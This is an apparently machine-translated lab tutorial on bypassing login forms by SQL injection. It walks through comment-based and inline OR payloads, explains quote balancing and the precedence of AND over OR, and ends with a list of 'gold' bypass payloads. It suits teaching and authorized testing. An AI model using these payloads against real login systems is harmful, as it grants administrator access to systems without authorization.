MASTER REVIEW MANUAL: PHASE 2 - AUTH BYPASS (LOGIC FLAWS)
Instructor: Red Team Lead Status: LEVEL COMPLETED Objective: We will access as Administrator without knowing the password.
0views
Instructor: Red Team Lead Status: LEVEL COMPLETED Objective: We will access as Administrator without knowing the password.
1. INTELLIGENCE: THE BOUNCER'S LOGIC
Sección titulada «1. INTELIGENCIA: LA LÓGICA DEL PORTERO»The login form is a Yes/No question: “Does this user exist with this password?”. Our goal is to manipulate the logic so that the response is forced to be “YES” (True).
Typical Backend Query: SELECT * FROM users WHERE username = '$user' AND password = '$pass';
2. ATTACK VECTORS
Sección titulada «2. VECTORES DE ATAQUE»TECHNIQUE A: The Sniper (With Comments)
Sección titulada «TÉCNICA A: El Francotirador (Con Comentarios)»- Concept: We will “kill” the rest of the query.
- Payload:
admin' -- - - Logic:
- We will close the user:
'admin'. - We will comment out the rest:
- -. - The
AND password=...will disappear. The DB will only look for “User is admin”. We're in!
- We will close the user:
TECHNIQUE B: The Dance (Inline / Without Comments)
Sección titulada «TÉCNICA B: El Baile (Inline / Sin Comentarios)»- Scenario: The server blocks dashes
-or hashes#. We won't be able to delete the password code. - Concept: We will have to “balance” the equation so that it is valid and True.
- Payload:
admin' OR '1'='1 - Critical Logic:
- OUR ERROR IN SIMULATION:
admin' OR '1'='1'(Adding a quote at the end). - WHY IT FAILS: The server already adds a quote at the end. If we add another one, there are two. Syntax error.
- THE CORRECTION:
admin' OR '1'='1(Without the final quote). We will let the server's quote close our1.
- OUR ERROR IN SIMULATION:
3. SIMULATION ERRORS (LESSONS LEARNED)
Sección titulada «3. ERRORES DE SIMULACIÓN (LECCIONES APRENDIDAS)»- Error: We will think that
ANDcloses quotes.- Correction: The
ANDis SQL code. If it is inside quotes, it is text. We will have to break out of the quotes to use it.
- Correction: The
- Error: We will forget the precedence
ANDvsOR.- Correction:
ANDbeatsOR. WHERE user='admin' OR 1=1 AND pass='...'-> If the pass fails, the1=1fails.- Payload Pro:
admin' OR 1=1 OR '1'='1(Double OR to be sure).
- Correction:
4. GOLD PAYLOADS
Sección titulada «4. PAYLOADS DE ORO»Classic Bypass: admin' -- -
Numeric Bypass (if the login were by ID): 1 OR 1=1
Inline Bypass (The hardest):
User: admin' OR '1'='1
Password: basura

